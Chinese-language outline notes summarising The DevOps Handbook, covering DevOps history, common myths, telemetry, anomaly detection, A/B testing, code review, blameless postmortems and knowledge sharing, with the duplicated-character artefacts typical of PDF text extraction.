通过蓝绿部署,可以在业务时段中以 毫秒级进⾏行行升级或回滚 这个项⽬目的经历促成了了持续交付和本书编写 “Whatever your constraints, we can always do better” Patrick Debois 2007年年,数据中⼼心迁移项⽬目 跟敏敏捷团队⼀一起⼯工作 妒忌他们的⾼高⽣生产率,短时间完成⼤大量量⼯工作 下⼀一个项⽬目在运维团队实验使⽤用看板 看到团队的动态变化 在Agile Toronto 2008 会议上,提出⼀一篇 IEEE paper,但是没有被敏敏捷社区⼴广泛回应 2009年年Velocity Conference 看 到“10 Deploys per Day”演讲 说服志同道合的⼈人,举办DevOpsDays 意外创造了了DevOps这个词 传播开来,影响巨⼤大 John Willis 2008年年进⾏行行⼀一个⼤大规模遗留留IT系统 配置管理理和监控的咨询项⽬目 遇到Puppet lab创始⼈人Luke 发现过去20年年对配置管理理的做法都 是错误的,Luke描述的是第⼆二代CM 约在⼀一个咖啡馆⾥里里⾯面聊infrastructure as code Luke认为运维需要转变为软件开发者⼀一样的⾏行行为 把配置纳⼊入版本 采⽤用CI/CD交付模式 2009年年Velocity Conference,听到 敏敏捷基础设施相关演讲 看到了了开发和运维之间的『混乱之墙』 ⾸首次DevOpsDays受邀的唯⼀一美国嘉宾 在这次活动以后,DevOps融化在⾎血液中 驱散谬⻅见 DevOps is Only for Startups DevOps实践被互联⽹网独⻆角兽 公司所倡导 Google、Amazon、Netflix、Etsy 他们并不不是⽣生来如此,历史上曾经 是”⻢马驹公司”,经历过业务停滞的⻛风险 因为有很多与 traditional “horse” organizations 相关的问题 ⾼高危代码发布导致灾难性失败 不不能快速发布功能满⾜足市场竞争 合规性考虑 不不能扩⼤大规模 开发与运维⾼高度不不信任 然⽽而,他们都能够 改变架构、技术实践和⽂文化 亚⻢马逊2001年年前OBIDOS(奥⽐比杜斯) 系统问题重重,后来换成SOA架构 2009年年Twitter,把前端巨⽯石架构 ROR系统,花费⼀一年年多重构 2011年年LinkedIn,花费两个⽉月停⽌止新功 能开发,解决环境、部署和架构技术债 2009年年Etsy,处理理部署问题和技术 债务,进⾏行行公司技术和⽂文化转型,排 除紧耦合Sprouter系统、提升协作效 率,整体花费两年年时间 2009年年Facebook基础架构运维接近崩 溃,⽆无法跟上⽤用户增⻓长,员⼯工导到处救 ⽕火,然后开始进⾏行行运维规模化的改⾰革 因为DevOps⽅方法与实践,取得突出的成果 “Let there be no more talk of DevOps unicorns or horses but only thoroughbreds and horses heading to the glue factory.” DevOps Replaces Agile DevOps的⽅方法和实践与敏敏捷相适应 DevOps是敏敏捷之旅的延伸 敏敏捷是DevOps的使能者 因为敏敏捷聚焦于⼩小团队持续交付⾼高质 量量的代码给⽤用户 超越『在每个迭代结束时获得潜在可 交付的代码』这个⽬目标,很多DevOps 实践浮现出来 把⽬目标扩展为让代码⼀一直处于可部署状态 开发每⽇日签⼊入代码到主⼲干 在类⽣生产环境演示功能 DevOps is incompatible with ITIL 1989发布的ITIL影响了了⼀一代⼜又⼀一代运维实践者 世界级IT运维流程和实践,横跨服务策略略,设计和⽀支持 DevOps实践可以与ITIL流程兼容 为了了⽀支持更更短的前置周期和更更⾼高部署频率 很多ITIL流程需要⾃自动化 解决配置和发布管理理流程⽅方⾯面的问题 保持CMDB和软件库及时更更新 DevOps需要快速探测和恢复事故 ITIL关于服务设计,事故,问题 管理理流程的纪律律仍然适⽤用 DevOps is Incompatible with Information Security and Compliance(合规) DevOps可能缺失的传统控制⽅方式 职责隔离 变更更审批流程 项⽬目末尾的⼈人⼯工的安全Review 但这不不意味着DevOps组织没有有效控制 取代只在项⽬目末尾进⾏行行安全和合规活动 控制被集成到⽇日常⼯工作每个阶段中 更更好的质量量安全和合规性 DevOps Means Eliminating IT Operations, or “NoOps“ 虽然IT运营的本质发⽣生变化,但仍然重要 IT运营更更早进⼊入软件周期,与开发⼀一起 开发在代码部署到⽣生产后与IT运营⼀一 起持续⼯工作 替代基于⼯工单的⼿手⼯工⼯工作 赋能给开发,提升⽣生产⼒力力 开发通过API和⾃自服务平台创建环 境,测试和部署代码,监控系统 IT运营更更像开发 IT运营的产品是⼀一个平台,让开发⼈人员可 靠/快速/安全的测试部署和运⾏行行IT服务 DevOps is Just “Infrastructure as Code” or Automation 很多DevOps的模式需要⾃自动化 DevOps还需要⽂文化规范和架构 让共享⽬目标通过IT价值流达成 这些远远超过⾃自动化的范畴 “DevOps isn’t about automation, just as astronomy isn’t about telescopes.” DevOps is Only for Open Source Software 很多成功的故事使⽤用LAMP stack (Linux, Apache, MySQL, PHP) 得到DevOps的成果与使⽤用的技术⽆无关 还有成功的案例例使⽤用Microsoft.NET, COBOL, and mainframe assembly code, as well as with SAP and even embedded systems Foreword:Dev and Ops Become DevOps Imagine a world PO,开发,测试,IT运营,信息安全⼀一同⼯工 作,不不仅相互帮助,⽽而是确保整个组织成功 他们朝着共同的⽬目标,让计划的⼯工作 朝着⽣生产环境快速流动 同时达到世界级的稳定性,可靠性, 可⽤用性和安全性 跨职能团队严格测试他们的假设,哪 些功能能够满⾜足⽤用户和达到企业⽬目标 不不仅是实现⽤用户功能,更更要确保⼯工作 在整个价值流中顺畅流动 没有造成IT运维或内外部⽤用户的混乱 和运⾏行行中断 与此同时,还要降低团队的摩擦,建 ⽴立⼯工作系统让开发具备更更⾼高的效率 将测试、运维和信息安全的知识注⼊入 到交付团队,及⾃自服务的⼯工具和平台 团队可以在⽇日常⼯工作中保持与其他团 队的独⽴立 这些能够建⽴立⼀一个安全⼯工作系统 ⼩小的团队可以快速和独⽴立的开发,测 试和部署代码 价值快速,安全,可靠的到达⽤用户 可以让组织最⼤大化开发效率,促进组织 学习,创造⾼高的员⼯工满意度,赢得市场 The world we live in 我们⼯工作的系统是破碎的 导致⾮非常差的结果 远远达不不到我们的真实潜⼒力力 开发和运维是对⼿手 测试和信息安全只在项⽬目结尾进⾏行行 想修正问题已经为时过晚 ⼤大多数关键活动需要⼤大量量⼿手⼯工⼯工作和 交接,让我们⼀一直处于等待状态 不不仅导致很⻓长的前置时间,⽽而且⼯工作 质量量(尤其是部署)是困难和混乱的 对客户和业务产⽣生消极影响 结果是,远远达不不到⽬目标,整个组织 对IT效能不不满意 预算缩减和阻碍 员⼯工满意度下降,觉得⽆无⼒力力改变流程和结果 解决办法:改变⼯工作⽅方式,DevOps 告诉我们最好的⽅方式 更更好的理理解DevOps⾰革命的潜能 1980s 年年代制造业的⾰革命 应⽤用精益原则和实践 改善了了⽣生产率,客户前置时间,产品 质量量,客户满意度,赢得市场 变⾰革之前 平均制造前置周期是6周,70%按时交付 2005年年,普遍应⽤用精益实践 产品前置时间少于3周,95%按时交付 没有采⽤用精益实践的组织丢失市场份额,或已退出市场 交付技术产品和服务也是⼀一样 1970到1980年年代 ⼤大多数新需求需要1到5年年时间 开发和部署,成本千万美元 2000年年代 技术发展、敏敏捷原则和实践的应⽤用 开发新功能数周到数⽉月 部署到⽣生产环境需要数周到数⽉月 2010年年 DevOps的引⼊入及硬件、软件和云的商品化 功能(甚⾄至整个初创公司)可以按周创建 ⼩小时或者分钟级快速部署到⽣生产环境 部署变得规律律化和低⻛风险 这些组织可以通过实验验证商业想法 然后快速和安全的开发 功能,部署到⽣生产环境 今天,采⽤用DevOps的原则和实践的 组织可以每天部署成百上千次变更更 在有利利竞争条件是需要快速⾯面向市场和持 续实验的时代⾥里里,那些不不能复制这些成果 的组织必将输给灵活的竞争者,就像那些 没有采⽤用精益原则的⽣生产制造企业⼀一样 The Problem 核⼼心、⻓长期的冲突 开发和运维内在冲突导致的恶性循环 缓慢速度、质量量下降、增加中断、技术债增加 开发和运维相互冲突的⽬目标 响应快速变更更的竞争场景 提供稳定、可靠和安全的服务给客户 不不同仓筒间度量量和激励机制,阻碍整 个组织⽬目标的达成 通常按⽉月甚⾄至季度部署,⽣生产部署⽆无法做到例例 ⾏行行,⽽而是需要中断,习惯性的救⽕火和英雄主义 恶性循环的三种⾏行行为 1. 很多问题是由于应⽤用和基础设施复 杂、缺乏记录、⾮非常脆弱 经常承诺解决技术债,但是从未发⽣生 这些脆弱的制品经常⽀支撑着核⼼心业务 2.为了了补偿之前未实现承诺,产品经 理理承诺⼀一个更更⼤大的功能,或业务管理理 层设定了了更更⼤大的收⼊入⽬目标,但未注意 到技术是否可⾏行行 开发⼯工作被作为⼀一个新的紧急项⽬目处 理理,为按期发布⾛走捷径,结果注⼊入更更 多技术债 3.⼯工作变得更更难,⼤大家更更忙,⼯工作时间 更更⻓长,沟通更更慢,队列列更更⻓长,⼯工作紧耦 合,⼩小问题导致更更⼤大的失败 对变更更更更担⼼心、更更低容忍 部署时间更更⻓长,部署出现更更多问题,客户中断更更多,更更 多英雄式的救⽕火,剥夺了了解决技术债的能⼒力力 ⼯工作需要更更多沟通,审批,等待其他依赖团队,质量量更更糟 IT fails, the entire organization fails 恶性循环为何到处发⽣生 IT组织有两个相反的⽬目标 每个公司都是技术公司,不不论他们 是否意识到 IT是重要的投⼊入,⽬目前50%项⽬目是技 术相关 银⾏行行只是有银⾏行行业务许可的IT公司 成本:⼈人和经济学 经历了了常年年的恶性循环,尤其是在开发下游 的⼈人,会有注定失败的⽆无能为⼒力力的感觉 精疲⼒力力尽,愤世嫉俗,绝望 害怕做正确的事情,因为怕惩罚、失 败甚⾄至危及⽣生计 both IDC and Gartner estimated that in 2011 5%花在IT 50%中的1/3花在紧急和计划外⼯工作或返⼯工 $520 billion浪费 其中50%花在运维现有系统 减少⼀一半浪费,投⼊入到五倍价值的⼯工作中 create $2.6 trillion of value per year DevOps:有更更好的⽅方法, 破除恶性循环 理理想情况下 ⼩小团队独⽴立开发功能,在类⽣生成环境验证 代码快速、可靠、安全的部署到⽣生产环境 代码部署有节奏和可预测 不不需要在周五午夜发布,然后周末都在解决问题 部署在⼯工作⽇日进⾏行行 每个⼈人在办公室准备好,客户⽆无感知 在这⼗十年年中,IT运营⼈人员第⼀一次可以像别⼈人⼀一样在业务时段⼯工作 建⽴立每⼀一步的快速反馈,每个⼈人可以⽴立即看到⾏行行为的效果 当变更更签⼊入版本控制,快速的⾃自动化 测试在类⽣生产环境进⾏行行 反复确保代码和环境像设计的那样运 ⾏行行,处于安全和可部署的状态 ⾃自动化测试分钟级反馈 实现更更快的处理理和学习 如果是⼏几个⽉月后集成测试发现的问题 很难与原因对应 问题在发现时处理理,避免累积技术债 遍布⽣生产的遥测,包括代码和⽣生产环境,确保问题发现和快速处理理 架构允许⼩小团队解耦地使⽤用⾃自服务 平台安全⼯工作 团队独⽴立⼯工作,⼩小批量量,快速,频繁 交付新价值给客户 ⽽而不不是每个⼈人都在等待,延期、紧急返⼯工 重要产品和功能使⽤用灰度发布技术 在发布⽇日之前,代码和功能就 进⼊入⽣生产环境 仅对内部和少量量真实⽤用户可⻅见 测试和持续优化功能直到达到 业务预期⽬目标 仅仅变更更功能开关或配置设置,就可 以让新功能可⻅见或扩⼤大⽤用户群 取代数天或数周的救⽕火式⼯工作 出现问题⾃自动回滚 结果:发布受控,可预测,可回滚,低压⼒力力 所有问题及早被发现和修复 更更⼩小,更更便便宜,更更容易易修正 每次修复,进⾏行行组织学习,预防再次出现 每个⼈人持续学习,培养科学的 假设驱动的⽂文化 ⼀一切基于度量量 将产品开发和流程改进视为实验 建⽴立⻓长期团队负责达成⽬目标 替代项⽬目结束⼈人员重新分配的⽅方式 保持团队完整,持续迭代和改进 产品团队为外部客户解决问题,同时内部平 台团队帮助其他团队更更有效率,安全,可靠 ⾼高度信任,协作的⽂文化 奖励员⼯工承担⻛风险 ⽆无恐惧的谈论问题⽽而不不是隐藏问题 每个⼈人负责他们⼯工作的质量量 每个⼈人在⽇日常⼯工作中构建⾃自动化测试 使⽤用peer review获得信⼼心,问题早在 影响⽤用户之前就被解决 这些流程减轻⻛风险,与不不友好的权限⼈人审批不不 同,可以证明我们有⼀一个有效的内部控制系统 如果什什么事情出错了了,免责的事后分析 不不责备某⼈人,⽽而是分析问题原因并避免问题 增强学习⽂文化 组织内部技术会议,提升技能并确保每个⼈人持续教导和学习 甚⾄至在⽣生产环境注⼊入失败 制造⼤大规模失败,随机杀进程和服务器器,注⼊入⽹网络延迟 确保系统有更更好的恢复能⼒力力,以及组织级的学习和改进 DevOps的业务价值,数据来⾃自 State Of DevOps Report 更更⾼高的敏敏捷性和可靠性 打破核⼼心、⻓长期的冲突 代码和变更更部署快30倍 从代码提交到成功运⾏行行在⽣生产 环境的时间快200倍 前置时间数分钟到数⼩小时 两倍可能性达到利利润率,市场份额和 ⽣生产率的⽬目标 ⾼高绩效组织过去三年年有50%增⻓长的 资本总额 更更⾼高员⼯工满意度,更更低⽐比例例员⼯工精疲⼒力力尽 员⼯工将组织推荐给朋友的概率是其他 组织的2.2倍 因为将安全⽬目标集成到开发和运维流程的所有阶 段,他们花费50%更更少时间补救安全问题 DevOps帮助规模化开发者⽣生产率 当开发⼈人数变多,个体⽣生产率显著下降 沟通,集成,测试开销 ⼈人⽉月神话 当项⽬目延迟时,增加更更多的开发不不仅 降低个体⽣生产率,更更降低整体⽣生产率 DevOps:当我们有正确的架构,正确的技术实 践,正确的⽂文化规范,⼩小团队可以快速,安全, 独⽴立的开发,集成,测试和部署变更更到⽣生产环境 ⼤大型组织使⽤用DevOps,虽然有数千⼈人的开发 ⼈人员,但是他们的架构和实践能够让⼩小团队 仍然保持极⾼高的⽣生产率,就像初创公司那样 ⾼高绩效组织可以随着团队规模增⻓长,规模化部署次数 采⽤用DevOps的组织,可以随着开发⼈人员 数量量的增加,每天的部署次数线性增⻓长 ⽐比如Google,Amazon,Netflix已经做的那样 THE DEVOPS HANDBOOK: AN ESSENTIAL GUIDE 成功启动DevOps并取得成果的理理论,原则和实践 Part I:high level principles of the Three Ways: Flow, Feedback, and Continual Learning and Experimentation Part II:how and where to start, and presents concepts value streams, organizational design principles and patterns, organizational adoption patterns, and case studies Part III:how to accelerate Flow by building the foundations of our deployment pipeline enabling fast and effective automated testing, continuous integration, continuous delivery, and architecting for low-risk release Part IV:how to accelerate and amplify Feedback creating effective production telemetry integrate A/B testing into our daily work create review and coordination processes to increase the quality Part V:how we accelerate Continual Learning establishing a just culture converting local discoveries into global improvements reserving time to create organizational learning and improvements Part VI:how to properly integrate security and compliance into our daily work integrating preventative security controls into shared source code repositories integrating security into our deployment pipeline enhancing telemetry Part IV: the Second Way, The Technical Parcties of Feedback 14. 建⽴立遥测发现和解决问题 运维经验法则 出问题重启服务器器 Microsoft Operations Framework (MOF) 2001年年 最⾼高服务级别的组织,重启服务器器 数量量⽐比平均少20倍,蓝屏少五倍 因果关系⽂文化 诊断和修正服务事故 利利⽤用⽣生产遥测理理解可能解决问题 的因素,⽽而不不是盲⽬目重启服务器器 遥测 ⾃自动化通信进程,远端收集度量量数据,随后传输到监控接收设备 监控⽣生产、准⽣生产、部署流⽔水线 Case:Etsy 2009 技术栈转移到LAMP(Linux, Apache, MySQL, and PHP) 使⽤用Ganglia收集服务器器信息,展示 在Graphite 把指标聚集在⼀一起,从各业务到部署 2011年年跟踪超过20万⽣生产指标 包括应⽤用功能,应⽤用健康,数据库, 操作系统,存储,⽹网络,安全等 把Top30最重要业务直播展示在仪表盘 2014年年跟踪超过80万指标 2015状态报告 ⾼高绩效组织解决⽣生产事故快168倍,MTTR分钟级 快速MTTR的技术实践 运维使⽤用版本控制 遥测和主动的⽣生产环境监控 创建中⼼心化的遥测基础设施 监控和⽇日志系统并不不是新鲜事物 但开发和运维各⾃自关注的信息经常是孤岛 The Art of Monitoring, 描述了了现代化监控架构 经常包含Nagios and Zenoss 数据采集:业务逻辑,应⽤用,环境层 事件、⽇日志、指标 Collectd, Ganglia, NewRelic, AppDynamics, Pingdom 事件路路由器器,负责存储事件和指标 可视化,趋势,报警,异常探测等 Sensu, Nagios, Zabbix, LogStash, Splunk 监控流⽔水线,如⾃自动化测试成功失败,部署到环境等 ⾃自服务API,⽽而不不是需要⼈人开⼯工单, 等待得到报告 创建应⽤用⽇日志遥测,帮助⽣生产环境 开发和运维⼯工程师创建⽣生产遥测,作为⽇日常⼯工作⼀一部分 ⽇日志级别 Debug 调试⽤用,troubleshooting时暂时打开 info ⽤用户驱动或系统特定活动(开始信⽤用卡交易易) warn 潜在错误(数据库调⽤用时间⻓长) error 错误情况(API调⽤用失败,内部错误) fatal 必须终⽌止(⽹网络进程不不能绑定⽹网络socket) 使⽤用遥测指导问题解决 80%中断是由于变更更,MTTR中80%是⽤用于发现哪⾥里里变更更了了 基于真相的问题解决显著加快MTTR,让开发和运维双赢 让建⽴立⽣生产监控作为⽇日常⼯工作⼀一部分 建⽴立基础设施和必要的库,让增加指标并 展示在仪表盘中像写⼀一⾏行行代码⼀一样简单 Etsy的开源监控库 StatsD 结合Graphite or Grafana⼀一起⽤用, ⽣生产图形和仪表盘 建⽴立⾃自服务访问到遥测和信息辐射器器 让遥测快速、⽅方便便获取,价值流中 每个⼈人可以共享相同的现实 信息辐射器器:⾼高度可视化,所有项⽬目成 员和路路过的⼈人都能看到最新的⼀一览信息 来⾃自TPS 价值 团队没有什什么可以向访问者隐藏的(客户,⼲干系⼈人) 团队没有什什么可以向⾃自⼰己隐藏的(承认和直⾯面问题) 向内外部客户⼴广播信息 Case:Creating Self-Service Metrics at LinkedIn (2011) 找到和填充遥测的缺⼝口 业务级 交易易,收⼊入,⽤用户登录率,A/B测试结果 应⽤用级 交易易时间,响应时间,应⽤用失效 客户软件级 浏览器器上JS,移动应⽤用 应⽤用错误和崩溃,客户独⽴立的交易易时⻓长 部署流⽔水线级 流⽔水线状态,红灯绿灯,变更更部署前 置时间,频率,环境状态 还要监控安全相关的事件 应⽤用和业务指标 业务指标 客户获取漏漏⽃斗 能够指导⾏行行动 基础设施度量量 环境中出错,需要确切知道什什么应⽤用和 服务会被影响,如CMDB需要的那样 在过去,建⽴立服务和⽣生产环境基础设施的关联,依靠 ⼿手⼯工维护(CMDB或Nagios⾥里里⾯面定义的配置) 然⽽而,这些连接⽬目前能够⾃自动化注册,动态发现和 使⽤用(通过Zookeeper,Etcd,Consul等⼯工具) 准⽣生产环境也要遥测,提前发现和 修复问题,如数据库缺失索引等 在指标上覆盖其他相关信息 让变更更可视化,所有发布活动图形化 15. 分析遥测更更好预测 问题和达成⽬目标 Case:Netflix,分析遥 测主动发现和修正问题 全球流媒体视频和电视剧供应商 2015收⼊入$6.2 billion,7500万订阅 挑战:集群中上千个⽆无状态的节点, 找到有所不不同的 2012年年使⽤用的统计技术是异常值检测 ⾸首先计算什什么是当前正确的状态 识别不不匹配的节点并移除 可以⾃自动标记错误⾏行行为的节点, ⽽而不不⽤用定义什什么是正确的⾏行行为 不不⽤用告知运维做什什么事情,⽽而是⾃自动处理理 使⽤用平均值和标准差探测潜在问题 解决报警疲劳的问题 提升信噪⽐比的⽐比率,聚焦在异常值 假如分析每天未授权的登录数,收集 的数据符合⾼高斯分布 设置超过三倍标准差则报警 只有0.3%的数据会触发报警 ⾮非预期的结果则报警 分析之前服务故障(如30天),建⽴立遥测列列表, 哪些是可以提前和更更快发现或诊断问题 当遥测数据不不是⾼高斯分布 运维中有些数据是卡⽅方分布,会引发问题 Case:Auto-Scaling Capacity at Netflix (2012) 使⽤用反常探测技术 统计技术:smoothing Fast Fourier Transforms, Kolmogorov-Smirnov test Graphite and Grafana tool Case:Advanced Anomaly Detection (2014) 16. 启动反馈,开发和 运维可以安全部署代码 仅仅⾃自动化部署流程是不不⾜足够的 还需要集成⽣生产遥测到部署⼯工作 建⽴立⽂文化规范,每个⼈人都对整个流⽔水线的健康负责 使⽤用遥测,让部署更更安全 为MTTR优化⽽而不不是MTBF 从错误快速恢复⽽而不不是试图防⽌止错误 ⽬目标是部署流⽔水线在错误到达⽣生产之前捕获,但仍 然会有未发现的,需要通过⽣生产遥测快速恢复服务 关闭功能开关(⽆无需重新部署) 向前修复(代码修复并通过流⽔水线部署) 回滚(开关、蓝绿或⾦金金丝雀) Etsy向前修复例例⼦子 开发与运维轮值共享寻呼 下游运维发现的问题,在上游开发被按低优 先级处理理,导致持续混乱和中断运维⼯工作 处理理办法:价值流中的每个⼈人共享 下游处理理运⾏行行事故的职责 开发,开发经理理,架构师轮值寻呼 每个⼈人获得上游所做的架构和代码决策的反馈 当半夜两点把开发叫醒,缺陷修复⽐比以前更更快 越来越少的公司有专职的on-call团队,⽽而是触及到⽣生 产代码和环境的每个⼈人,在服务故障时都能被联系到 让开发跟随下游⼯工作 ⽤用户体验设计(UX)观察 让开发看到下游⼯工作如何影响产品, 最终运⾏行行到⽣生产环境 直接地看到客户的困难 做出更更好更更知情的决策 将⾮非功能需求加⼊入到backlog 让开发开始⾃自管理理他们的产品服务 Google让开发组⾃自管理理他们在⽣生产环境的 服务,直到符合集中的运维组管理理的资格 防⽌止有问题的⾃自管理理服务发布到⽣生产导 致⻛风险,需要定义必须达到的启动要求 运维⼯工程师是顾问⻆角⾊色,帮助服务具备 上⽣生产的条件 创建Launch guidance Defect counts and severity Type/frequency of pager alerts Monitoring coverage System architecture 解耦⽀支持⾼高频部署 Deployment process 可预测,确定的,充⾜足⾃自动化 Production hygiene ⾜足够的好的⽣生产习惯 同时要关注安全和合规⻛风险 服务退还机制 ⽣生产服务变得脆弱,运维可以把产品 ⽀支持职责交还给开发 Case:The Launch and Hand-off Readiness Review at Google (2010) 17. 集成假设驱动开发和A/B测试 A/B测试:在处理理(变更更功能、设计元素、背景颜⾊色)和 结果(转化率、平均订单⼤大⼩小)之间建⽴立因果关系 验证商业模型最低效的⽅方法就是构建整个产品, 看是否预期的需求真实存在 当软件部署和发布快速、安全,在线⽤用户 实验可以在⾼高负载和收益时段进⾏行行 微软分析和⽤用户体验组 只有1/3的实验,可以改进关键指标 2/3的实验⽆无影响,即使是合理理、好的想法 这些⽆无⽤用功能让代码复杂和增加维护成本 浪费了了机会成本 集成A/B测试到设计、执⾏行行、测试和部署功能 进⾏行行有意义的⽤用户研究和实验 集成A/B测试到发布 功能开关 Etsy A/B API,Optimizely, Google Analytics 集成A/B测试到功能计划 在客户获取漏漏⽃斗的上下⽂文中设计实验 Case: Doubling Revenue Growth through Fast Release Cycle Experimentation at Yahoo! Answers (2010) 18. 创建审查和协作流程, 增强当前⼯工作质量量 Case:Peer review process at GitHub Pull request 增加质量量,让部署更更安全,集成在 每个⼈人⽇日常⼯工作流程中 GitHub Flow 创建叙述命名的分⽀支 提交代码到本地分⽀支,有规律律的push到服务器器上的分⽀支 需要反馈或帮助,或者准备好合并,打开⼀一个pull request 得到期望审核和必要的批准后,合并到master push到master后,⼯工程师部署到⽣生产环境 2012年年执⾏行行12602次部署 8⽉月23⽇日563构建和175次⽣生产部署 变更更管理理流程的危险 过度控制的变更更 传统变更更控制,⻓长前置时间, 降低反馈的⼒力力量量和及时性 当变更更控制失败发⽣生 需要填写变更更请求表,回答更更多问题 需要更更多授权,更更⾼高管理理及审批 需要更更多前置时间审批 TPS:最接近问题的⼈人,⼀一般知道的更更多 做⼯工作的⼈人和决策⼯工作的⼈人离的越远,越差的结果 2014年年状态报告:⾼高绩效组织更更多依靠 peer review,更更少的外部变更更审批 协作和变更更排期 解耦的架构 聊天室通知变更更(同时做A/B测试),主动找到冲突 紧耦合的架构 谨慎安排变更更排期,每个团队代表在⼀一起排期和排序 基础架构变更更(⽹网络路路由等) 技术⼿手段:冗余、切换、模拟 变更更Peer review 开发code review,其实是任何变更更通⽤用的 近距离⼯工作的同事仔细观察发现错误 需要review的时点:代码提交到主⼲干前 ⼩小批量量code review 变更更和潜在⻛风险⾮非线性关系 提交100⾏行行代码⽐比10⾏行行代码,错误⻛风险不不⽌止10倍 开发应该⼩小批量量增量量⼯工作,⽽而不不是⻓长分⽀支 Guidelines for code reviews 每个⼈人提交主⼲干前,要有其他⼈人review变更更 每个⼈人监控他们同组伙伴的提交流, 发现潜在冲突 定义哪些变更更是⾼高⻛风险,需要SME 审核(数据库变更更、安全敏敏感模块) 如果某⼈人提交过⼤大,让他拆分成多个 code review形式 结对编程 Over-the-shoulder ⾛走读代码 Email轮查 ⼯工具辅助 Gerrit,Github pull request Case:Code Reviews at Google (2010) ⼿手⼯工测试和冻结变更更的潜在危险 ⼿手⼯工测试时间更更⻓长,更更少部署变更更 增⼤大了了部署批量量 变更更成功率下降 故障数和MTTR升⾼高 结对编程,改进变更更 结对编程 2000年年之前XP提出,两个⼯工程师在同⼀一台⼯工作站⼯工作 结对 ⼀一个司机,⼀一个领航员 领航员也要考虑⼯工作战略略⽅方向,提出改进 司机专注完成战术上的任务 另外⼀一种结对增强TDD ⼀一个⼯工程师写⾃自动化测试 另外⼀一个⼯工程师写代码 2011年年数据调查 结对编程⽐比两个⼈人单独编码慢15% ⽆无错误代码从75%提升到85% 结对编程在组织中传播知识,增强团队信息流动 Case:Pair Programming Replacing Broken Code Review Processes at Pivotal Labs (2011) 评估pull request流程的有效性 不不好的pull request 没有充⾜足的上下⽂文 没有⽂文档,变更更想要做什什么 好的pull request 对变更更⾜足够细致的描述 怎么进⾏行行的变更更 潜在的⻛风险和对策 如果部署出现⾮非预期 增加到pull request 链接到相应的问题 不不是责备,⽽而是坦⽩白的谈话, 将来如何规避问题 ⽆无谓的砍掉官僚僚流程 总结 ⽣生机型的⽂文化的必要部分 让变更更实施⼈人完全拥有他们变更更的质量量 Part V:The Third Way, The Technical Practices of Learning 19. 注⼊入学习到⽇日常⼯工作 在复杂系统中⼯工作 Self-diagnostics and Self-improvement 让解决⽅方案对整个组织可⽤用 创建动态系统 理理解错误,转化为⾏行行动 阻⽌止错误未来再发⽣生 Case: Netflix April 21, 2011,AWS US-EAST区域宕机 Netflix没有被⼤大规模AWS中断影响到 有⼈人猜测是由于Netflix是最AWS最⼤大的客户之⼀一,受到特殊对待 实际上是由于从2009年年开始的架构设计赋予的异常还原能⼒力力 2008年年,Netflix在线视频交付服务是J2EE单体架构,托管在⼀一个数据中⼼心 2009年年开始重构系统,被称作『云原⽣生』,被设计运⾏行行在Amazon公有云上,考虑还原能⼒力力 架构解耦,每个组件考虑挑战超时, 确保失败的组件不不影响整个系统 每个功能和组件被设计为优雅降级 ⽐比如CPU繁忙时,把个性化电影列列表换 为缓存过的需要更更少计算的静态内容 构建Chaos Monkey,持续模拟AWS失 败,让服务⾃自动化恢复⽽而不不是⼈人⼯工⼲干预 实现组织学习(在⽇日常⼯工作时段) 建设公平的,学习⽂文化 坏苹果理理论 排除错误,就是排除导致错误的⼈人 ⼈人为错误不不是问题,⼈人为错误是我们 给他们的⼯工具设计的结果 取代“naming, blaming, and shaming” 最⼤大化组织学习,在⽇日常⼯工作中持续 增强暴暴露露和共享问题的机会 两个有效的实践 免责的事后分析 受控的引⼊入失败到⽣生产环境,建⽴立对 复杂系统中不不可避免问题的实践 免责的事后分析会议 建⽴立时间线,收集失败细节信息,不不要惩罚制造错误的⼈人 聊天记录,IRC or Slack ⽣生产遥测的特定指标,不不仅是陈述 授权所有⼯工程师在各⾃自领域改进安全 ⿎鼓励制造错误的⼈人教育组织其他⼈人,如何避免 接受有⾃自由决定的空间,⼈人们选择是否决定采取⾏行行动 提出对策如何避免类似的事故,确保 记录下来有⽬目标⽇日期和负责⼈人跟进 参与⼈人 有可能导致问题的⼈人 发现问题的⼈人 响应问题的⼈人 诊断问题的⼈人 被问题影响的⼈人 任何感兴趣的⼈人 可能的对策 新的⾃自动化测试发现部署流⽔水线的危险状况 增加更更多是⽣生产遥测 识别需要额外peer review的变更更类型 增加失败演练,作为常规安排的Game Day 发布免责事后分析越⼴广越好 ⼴广泛发布会议纪要和相关内容 事后分析完成之前,禁⽌止关闭⽣生产故障 将本地学习和改进转化为全局学习和改进 在线服务公司,会发送给中断影响的客户,增加透明和信任 降低事故容忍度,找到微弱的失败信号 NASA 2003 哥伦⽐比亚号航天⻜飞机失事 此前⼀一位中级⼯工程师就报告过事故,但未被重视 注⼊入⽣生产事故,启动恢复性和学习 Chaos Monkey 创⽴立Game Days演练失败 模拟和演练事故,给他们实践的能⼒力力 ⾸首先计划⼀一个灾难事件,⽐比如模拟整个数据中⼼心毁坏 给团队时间准备,排除所有的单点错误 创建必要的监控流程,故障切换流程 定义和执⾏行行操练,问题和困难被识别、处理理和测试 在约定的时间,执⾏行行中断 暴暴露露潜在缺陷latent defects 20. 转换本地发现到全局改进 通过聊天室和聊天机器器 ⼈人⾃自动化捕获组织知识 Case:ChatOps at GitHub Hubot 发送命令: @hubot deploy owl to production 通过聊天室⽽而不不是⾃自动化脚本的好处 每个⼈人看到所发⽣生的⼀一切 ⼯工程师第⼀一天⼯工作可以看到⽇日常⼯工作如何执⾏行行 ⼈人们倾向于请求帮助,当他们看到别⼈人互相帮助 快速组织学习和积累 增强透明和协作的⽂文化 GitHub 所有运维员⼯工远程⼯工作 Hubot触发Puppet, Capistrano, Jenkins, resque,Graphite ⾃自动化标准流程做进软件以便便重⽤用 架构,测试,部署和基础设施管理理 的的标准和流程经常写成Word⽂文档 经常不不知道或没有时间实施标准 把⼿手⼯工流程变为代码⾃自动化执⾏行行 为整个组织创建单 ⼀一共享源代码库 全机构共享的代码仓库是集成本地 发现到跨越整个组织最有效的机制 Case:Google 2015年年单⼀一共享源代码库 超过⼗十亿个⽂文件 超过⼆二⼗十亿⾏行行代码 2万5千⼯工程师使⽤用 Chrome和Android在独⽴立的库 不不仅是代码,还有知识和学习的内容 库、基础设施和环境的配置标准 Chef recipes,Puppet manifests 部署⼯工具 测试标准和⼯工具,包括安全 部署流⽔水线⼯工具 监控和分析⼯工具 学习指南和标准 所有东⻄西从源代码构建,⽽而不不是在 运⾏行行时动态链接 永远只有单⼀一版本的库正在使⽤用 是在构建流程中静态链接的 每个库都有Owner,不不仅负责编译, 还有依赖它的所有项⽬目成功通过测试 像真实世界的图书管理理员 如果不不能够构建单⼀一代码树,必须找 